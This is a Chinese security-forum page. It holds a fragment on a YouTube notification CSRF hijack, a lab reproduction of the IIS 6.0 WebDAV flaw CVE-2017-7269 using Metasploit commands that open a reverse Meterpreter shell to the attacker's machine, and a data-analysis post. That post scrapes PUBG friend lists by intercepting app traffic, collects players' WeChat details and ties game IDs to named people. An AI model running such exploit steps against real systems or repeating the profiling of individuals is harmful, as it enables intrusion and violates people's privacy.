        让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:

3.png

 
 

CVE-2017-7269 IIS6.0远程代码执行漏洞复现

llpkk 发表了文章 • 0 个评论 • 58 次浏览 • 2019-04-21 23:59 • 来自相关话题

0x01 漏洞简介
漏洞编号:CVE-2017-7269
发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)
漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 Windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。
漏洞类型:缓冲区溢出
漏洞等级:高危
影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)
触发函数:ScStoragePathFromUrl函数
附加信息:ScStoragePathFromUrl函数被调用了两次
 
0x02 复现漏洞
复现环境:Microsoft Windows Server 2003 R2





开启了WebDAV服务





 
攻击者IP:192.168.1.144
目标机IP:192.168.1.175
 
exp:https://github.com/zcgonvh/cve-2017-7269





把exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下





打开神器Metasploit





输入use命令,use exploit/windows/iis/cve-2017-7269





使用命令show options





 
设置目标机ip,set RHOST 192.168.1.175设置对面网站,set HttpHost 192.168.1.175设置返回载荷,set payload windows/meterpreter/reverse_tcp设置攻击机ip,set LHOST 192.168.1.144进行溢出,exploit





 
输入shell命令,来到了我们所熟悉的界面





执行命令whoami





 
0x03 修复意见
2015年7月15日,微软已停止对Windows Server 2003的支持,所以官方没有相关解决方案,建议用户升级到最新系统 Windows Server 2016。如果不进行升级的话,请直接关闭WebDAV服务防止漏洞被利用。 查看全部
0x01 漏洞简介
漏洞编号:CVE-2017-7269
发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)
漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 Windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。
漏洞类型:缓冲区溢出
漏洞等级:高危
影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)
触发函数:ScStoragePathFromUrl函数
附加信息:ScStoragePathFromUrl函数被调用了两次

 
0x02 复现漏洞
复现环境:Microsoft Windows Server 2003 R2

1.png

开启了WebDAV服务

2.png

 
攻击者IP:192.168.1.144
目标机IP:192.168.1.175
 
exp:https://github.com/zcgonvh/cve-2017-7269

3.png

把exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下

4.png

打开神器Metasploit

5.png

输入use命令,use exploit/windows/iis/cve-2017-7269

6.png

使用命令show options

7.png

 
  1. 设置目标机ip,set RHOST 192.168.1.175
  2. 设置对面网站,set HttpHost 192.168.1.175
  3. 设置返回载荷,set payload windows/meterpreter/reverse_tcp
  4. 设置攻击机ip,set LHOST 192.168.1.144
  5. 进行溢出,exploit


8.png

 
输入shell命令,来到了我们所熟悉的界面

9.png

执行命令whoami

10.png

 
0x03 修复意见
2015年7月15日,微软已停止对Windows Server 2003的支持,所以官方没有相关解决方案,建议用户升级到最新系统 Windows Server 2016。如果不进行升级的话,请直接关闭WebDAV服务防止漏洞被利用。

数据分析与可视化:谁是安全圈的吃鸡第一人

fireant 发表了文章 • 0 个评论 • 78 次浏览 • 2019-04-19 09:39 • 来自相关话题

*本文原创作者:Omegogogo
各位大佬看看自己上榜了没
 0×00 前言 
放假和小伙伴们打了几把PUBG,大半年没碰,居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多,之前也会和一些安全圈的大佬一起玩,经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹(纪念号被封的第193天)。
那么这些黑阔大佬们,在不开挂的情况下,谁会是他们之中技术最好的呢?带着这样的疑问,试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。


注:全文所指的“安全圈”是一个非常狭义的概念,在本文中仅覆盖到小部分安全从业者玩家,所以标题有些夸大。如有其他错误也欢迎指出。 


0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏,他们的ID又是什么呢?
在一些APP里可以查到玩家的战绩,其中比较有价值的是,还能看到每位玩家的好友列表。
那么可以有这么个思路,也就是一个广度优先遍历:


1.确定一个初始的ID链表,并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J,同时也是链表内另外两位黑客的共同好友,那么认为J也是安全圈内人士,加入到链表尾处。
4.向后迭代重复2、3。


动手实现
发现走的是https,挂上证书以MITM的方式来监听https流量:

可以发现数据是以json格式传递的,写个python脚本来自动完成获取数据,单线程+限速(一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制)。
脚本主要代码是:
 def r_get(nickname,offset):
#发送给api的request
...

return json#返回一个json格式

def get_friends(nickname):

offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends =
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)

sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1

def record_rds(sql):
#db操作

def main():
...
 笔者先确定一份初始安全圈列表,包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作,或是笔者信安专业的同学,或ID明显带有安全的特征(PwnDog),总之都是比较确信的安全圈人士。
以这些人为初始列表,很快就有几位玩家被划定为安全圈人士。

 
在遍历到大约第50来位的时候也看到了自己的游戏昵称:Omego555(正是刚才提到开挂带妹被封的账号)    

遍历到“wilson233”时发现直接跳过了,并没有被纳入到安全圈列表中,但笔者读过wilson写下的很多优质文章,他也是某甲方公司的安全从业者。

 
(该ID在后来的某次遍历中也被纳入了列表中,程序表现出一定的健壮性。 )
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快,在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试,并不需要太大规模的数据集。观察数据集
初步观察数据集,发现很多有意思的事情:比如在遍历到第300多位玩家的时候,发现了一个ID带得有“pkav”字样的玩家”PKAV-xiaoL“(pkav是原来在乌云很有名气的安全组织,其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者,笔者也是受到这篇文章的启发才打算做这个小项目)。
随着PKAV-xiaoL被确定到安全圈列表中,由于社交关系,更多的pkav成员也被添加进列表中。

 
除了pkav-xxx,还看到了一些很眼熟的ID:比如【SparkZheng】—正是多个ios越狱的作者蒸米大大

 
比如【ma7h1as】,笔者大学时的队友,现玄武实验室大佬,多个Google/MS CVE获得者,超级大黑客

 
再来看这位,从游戏昵称看不出是谁,但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。

 
当然还有一些活跃在安全论坛,或者笔者有读过的一些高质量技术文章的作者的ID,眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等,这里不再一一列举。
除此之外还有一些玩家,比如这位:


笔者既不认识他,也从未在安全论坛见过他的ID,只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗?
试着搜索一下:
找到了他的GitHub,并在
 
其中发现了很多你懂的东西,很有趣对吧? 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家,但是除了这些眼熟和有迹可循的ID,列表里躺着的绝大多数都是笔者没见过,陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看:

 
圆上的每个红点代表一位玩家,无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点,他们互相组成了共计14216次好友关系,形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系,虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些,但好友关系是双向的,因此这里用无向图。代码如下:
 # -*- coding: UTF-8-*-  
from pyecharts import Graph

import json

import sys

import sqlite3

conn = sqlite3.connect('db2.db')

c = conn.cursor()

print "Opened database successfully";

cursor = c.execute("SELECT nickname,friends FROM player")

nodes =

links =

temps =

for row in cursor:

temps.append({"name":row[0],"friends":row[1].split(",")})

nodes.append({"name":row[0],"symbolSize":5})

for temp in temps:

for friend in temp["friends"]:

if {"name":friend,"symbolSize":5} in nodes:

links.append({"source":temp["name"],"target":friend})

graph = Graph("力导图",width=1400,height=1600)

graph.add(

"",

nodes,

links,

graph_layout = "force",

label_pos="right",

graph_repulsion=10,

line_curve=0.2,

)

graph.render() 
 
得到:

 
俗话说“物以类聚人以群分”,在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的,比如在最左下角的这个部分,这个小社区处于安全圈的边缘地带,很有可能不是安全从业者,我们放大来看:

 
这个“五边形”是一个完全子图。在这个小社区中,五个人都互为好友,也被称作“派系(Clique)”,这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家:

 
如果我们把上面最大的部分看做是安全圈的话,这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置,这样的节点具有较高的“中介中心性(Betweenness Centrality)”,往往具有不可替代的作用。在现实中类似房屋中介一样,买房者与卖房者之间的联系都得靠他。
除了中介中心性,在图论中节点还有另外两个重要性质:度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多,这个节点的度中心性就越高,也就是好友越多,度中心性越高,很可能是具有较高名望的人,比如微博的大V,意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标,一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢:

 
确实看到一些眼熟的ID,但由于我们前面寻找安全圈的算法并不准确,在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者,那么很可能会把这份数据集带入到“二次元圈”。为了尽量避免这种情况,我们使用一些社区发现算法来完成社区的寻找与分割。


社区发现算法用来发现网络中的社区结构,多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区,从而帮助我们把安全圈和其他圈子的人分割开来。



 
常见的社区发现算法有:Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试,但NetworkX本身只是算法工具,并不具备可视化功能,而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法,也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局:

 
fast-unfolding:

 
除此之外Gephi还支持GN算法,但内存要求较高,有兴趣的同学可以尝试下其他算法。
经过30000余次迭代,最终得到了19个社区,用图像来表示是这样的:

 
在社区发现算法中社区的数目和大小通常是不可知的,一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的,不像微博的关注/粉丝的机制能较准确地找出图的连通性,所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后,最终选择了一个样本数量为1125的社区,覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后,决定使用这份数据集来做后续的战绩分析。
 
 0×03 战绩爬取和分析谁是安全圈的吃鸡第一人
拿到了要进行战绩数据采集的玩家名单后,我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平,才能有指向性的进行数据采集。笔者最终选取了数个指标,分别是:


1.历史最高Rank,即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害


笔者还决定采集一些有趣的指标,能反映玩家的游戏习惯:


1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长


爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位,达到惊人的17次,85%的前10率。
这一指标在安全圈的平均值是6.33。
 
单独看看吃鸡情况:

 
在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家,达到了可怕的10次,近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位,达到了8次。
而这一数值的平均值仅才0.71,两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式,而【qingfenggod】则大部分是在排位中获得的,可以说是非常惊人的胜率了。
在KDA和伤害方面:

 
可以看到大部分玩家都集中在左下半部分,可以认为正常玩家都在这一点簇群内, 即KDA<2,伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的:


KD:8.4
伤害:1099.57


是第二名的近两倍,是平均值的近10倍!!!!直接来到了散点图的云端之上,这可是击杀与死亡比啊,如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】,这一数据仅为:


KD:3.7
伤害:461.18


排位第8位。
思考:其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景,对于这种密度相差很大的簇群,可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类,并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
笔者更感兴趣的是吃鸡和枪法的关系,一个人的枪法越好,越容易吃鸡吗?吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗?
对于枪法这一表征,直接使用KD和damage来代替,再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析,计算Pearson系数:

 
光从相关系数看,枪法和吃鸡虽然是正相关,但并不是呈现出非常强的相关性,顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了,可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十,则和个人枪法没什么太大关系了,反而和移动距离关系较大。
换句话说,如果只是想冲进前十,乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话,那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢,我们同样遍历了1125位玩家的这一指标:

 
(注:官方API的提示中写到,由于官方服务器问题,一些玩家的这一数据可能丢失或者有误)
取四人TPP的排位情况,前三位分别是:


Salmonnnnn:4094.7144
syzhou:3906.409
ph4nt0mer:3609.1436


通过观察好友关系,笔者相信他们与安全圈关系密切(大家也可以搜索一下这些ID)。
写到这里,“谁是安全圈的吃鸡第一人?”这一问题已经差不多给出了答案。玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作,基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家,以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀,来推测一下该玩家的游戏习惯,刻画出这位玩家的游戏风格。
从武器使用情况来看:
 

 
sanmao2054最钟爱步枪,最常使用的是M416和AK47这两把万精油老款自动步枪,两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面:
sanmao2054偏爱SKS这种连发狙击步枪,击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用,两把枪使用次数加起来也不过29次。
总体来看,这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面:
最爱的当属UMP,而vector紧随其后,达到44次击杀。要知道热爱vector的玩家并不多,所以这可以算是这位玩家较明显的特点。
其他:
空投枪的使用次数并不多,看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家,但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次,这是个非常亮眼的数据。
从击杀距离来看:
 
平均击杀距离排在第一位的自然是狙中之王,精准度最强劲的AWM,达到了120多米。
排在第二的则是这位玩家最爱的SKS,达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪,平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战,热爱刚枪,对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米,使用的却是SKS这一款连狙步枪,也从侧面印证此人刚枪的风格。
从平均击杀时间点来看:

 
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪,DP28等武器,在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是,这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出,他比较倾向于在最后使用手雷来打扫战场,快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是:
先跳伞到人多的区域,随意捡起一两把武器(甚至是手枪)就开始干架,成功击杀对手后就寻找ak/m4等自动步枪过渡到中期,会留雷到后期来结束战斗,在少数情况下后期也会去考虑空投枪。
用一些关键词来描述sanmao2054可能会是:【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文:

 
0×04 最后
本文仅是一个For fun的周末项目,涉及的数据有限。在真正的网络攻防实践中,数据挖掘和分析能为安全工程师带来更多的便利,特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作,身边搞数据分析的人较少,所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-)有周末组排缺菜鸡队友的也欢迎戳我。 查看全部
*本文原创作者:Omegogogo
各位大佬看看自己上榜了没
 0×00 前言 
放假和小伙伴们打了几把PUBG,大半年没碰,居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多,之前也会和一些安全圈的大佬一起玩,经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹(纪念号被封的第193天)。
那么这些黑阔大佬们,在不开挂的情况下,谁会是他们之中技术最好的呢?带着这样的疑问,试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。



注:全文所指的“安全圈”是一个非常狭义的概念,在本文中仅覆盖到小部分安全从业者玩家,所以标题有些夸大。如有其他错误也欢迎指出。 



0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏,他们的ID又是什么呢?
在一些APP里可以查到玩家的战绩,其中比较有价值的是,还能看到每位玩家的好友列表。
那么可以有这么个思路,也就是一个广度优先遍历:



1.确定一个初始的ID链表,并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J,同时也是链表内另外两位黑客的共同好友,那么认为J也是安全圈内人士,加入到链表尾处。
4.向后迭代重复2、3。



动手实现
发现走的是https,挂上证书以MITM的方式来监听https流量:

可以发现数据是以json格式传递的,写个python脚本来自动完成获取数据,单线程+限速(一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制)。
脚本主要代码是:
 
def r_get(nickname,offset):
#发送给api的request
...

return json#返回一个json格式

def get_friends(nickname):

offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends =
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)

sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1

def record_rds(sql):
#db操作

def main():
...

 笔者先确定一份初始安全圈列表,包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作,或是笔者信安专业的同学,或ID明显带有安全的特征(PwnDog),总之都是比较确信的安全圈人士。
以这些人为初始列表,很快就有几位玩家被划定为安全圈人士。

 
在遍历到大约第50来位的时候也看到了自己的游戏昵称:Omego555(正是刚才提到开挂带妹被封的账号)    

遍历到“wilson233”时发现直接跳过了,并没有被纳入到安全圈列表中,但笔者读过wilson写下的很多优质文章,他也是某甲方公司的安全从业者。

 
(该ID在后来的某次遍历中也被纳入了列表中,程序表现出一定的健壮性。 )
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快,在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试,并不需要太大规模的数据集。观察数据集
初步观察数据集,发现很多有意思的事情:比如在遍历到第300多位玩家的时候,发现了一个ID带得有“pkav”字样的玩家”PKAV-xiaoL“(pkav是原来在乌云很有名气的安全组织,其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者,笔者也是受到这篇文章的启发才打算做这个小项目)。
随着PKAV-xiaoL被确定到安全圈列表中,由于社交关系,更多的pkav成员也被添加进列表中。

 
除了pkav-xxx,还看到了一些很眼熟的ID:比如【SparkZheng】—正是多个ios越狱的作者蒸米大大

 
比如【ma7h1as】,笔者大学时的队友,现玄武实验室大佬,多个Google/MS CVE获得者,超级大黑客

 
再来看这位,从游戏昵称看不出是谁,但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。

 
当然还有一些活跃在安全论坛,或者笔者有读过的一些高质量技术文章的作者的ID,眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等,这里不再一一列举。
除此之外还有一些玩家,比如这位:


笔者既不认识他,也从未在安全论坛见过他的ID,只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗?
试着搜索一下:
找到了他的GitHub,并在
 
其中发现了很多你懂的东西,很有趣对吧? 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家,但是除了这些眼熟和有迹可循的ID,列表里躺着的绝大多数都是笔者没见过,陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看:

 
圆上的每个红点代表一位玩家,无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点,他们互相组成了共计14216次好友关系,形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系,虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些,但好友关系是双向的,因此这里用无向图。代码如下:
 
# -*- coding: UTF-8-*-  
from pyecharts import Graph

import json

import sys

import sqlite3

conn = sqlite3.connect('db2.db')

c = conn.cursor()

print "Opened database successfully";

cursor = c.execute("SELECT nickname,friends FROM player")

nodes =

links =

temps =

for row in cursor:

temps.append({"name":row[0],"friends":row[1].split(",")})

nodes.append({"name":row[0],"symbolSize":5})

for temp in temps:

for friend in temp["friends"]:

if {"name":friend,"symbolSize":5} in nodes:

links.append({"source":temp["name"],"target":friend})

graph = Graph("力导图",width=1400,height=1600)

graph.add(

"",

nodes,

links,

graph_layout = "force",

label_pos="right",

graph_repulsion=10,

line_curve=0.2,

)

graph.render()
 
 
得到:

 
俗话说“物以类聚人以群分”,在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的,比如在最左下角的这个部分,这个小社区处于安全圈的边缘地带,很有可能不是安全从业者,我们放大来看:

 
这个“五边形”是一个完全子图。在这个小社区中,五个人都互为好友,也被称作“派系(Clique)”,这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家:

 
如果我们把上面最大的部分看做是安全圈的话,这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置,这样的节点具有较高的“中介中心性(Betweenness Centrality)”,往往具有不可替代的作用。在现实中类似房屋中介一样,买房者与卖房者之间的联系都得靠他。
除了中介中心性,在图论中节点还有另外两个重要性质:度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多,这个节点的度中心性就越高,也就是好友越多,度中心性越高,很可能是具有较高名望的人,比如微博的大V,意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标,一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢:

 
确实看到一些眼熟的ID,但由于我们前面寻找安全圈的算法并不准确,在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者,那么很可能会把这份数据集带入到“二次元圈”。为了尽量避免这种情况,我们使用一些社区发现算法来完成社区的寻找与分割。



社区发现算法用来发现网络中的社区结构,多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区,从而帮助我们把安全圈和其他圈子的人分割开来。




 
常见的社区发现算法有:Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试,但NetworkX本身只是算法工具,并不具备可视化功能,而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法,也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局:

 
fast-unfolding:

 
除此之外Gephi还支持GN算法,但内存要求较高,有兴趣的同学可以尝试下其他算法。
经过30000余次迭代,最终得到了19个社区,用图像来表示是这样的:

 
在社区发现算法中社区的数目和大小通常是不可知的,一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的,不像微博的关注/粉丝的机制能较准确地找出图的连通性,所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后,最终选择了一个样本数量为1125的社区,覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后,决定使用这份数据集来做后续的战绩分析。
 
 0×03 战绩爬取和分析谁是安全圈的吃鸡第一人
拿到了要进行战绩数据采集的玩家名单后,我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平,才能有指向性的进行数据采集。笔者最终选取了数个指标,分别是:



1.历史最高Rank,即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害



笔者还决定采集一些有趣的指标,能反映玩家的游戏习惯:



1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长



爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位,达到惊人的17次,85%的前10率。
这一指标在安全圈的平均值是6.33。
 
单独看看吃鸡情况:

 
在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家,达到了可怕的10次,近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位,达到了8次。
而这一数值的平均值仅才0.71,两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式,而【qingfenggod】则大部分是在排位中获得的,可以说是非常惊人的胜率了。
在KDA和伤害方面:

 
可以看到大部分玩家都集中在左下半部分,可以认为正常玩家都在这一点簇群内, 即KDA<2,伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的:



KD:8.4
伤害:1099.57



是第二名的近两倍,是平均值的近10倍!!!!直接来到了散点图的云端之上,这可是击杀与死亡比啊,如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】,这一数据仅为:



KD:3.7
伤害:461.18



排位第8位。
思考:其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景,对于这种密度相差很大的簇群,可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类,并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
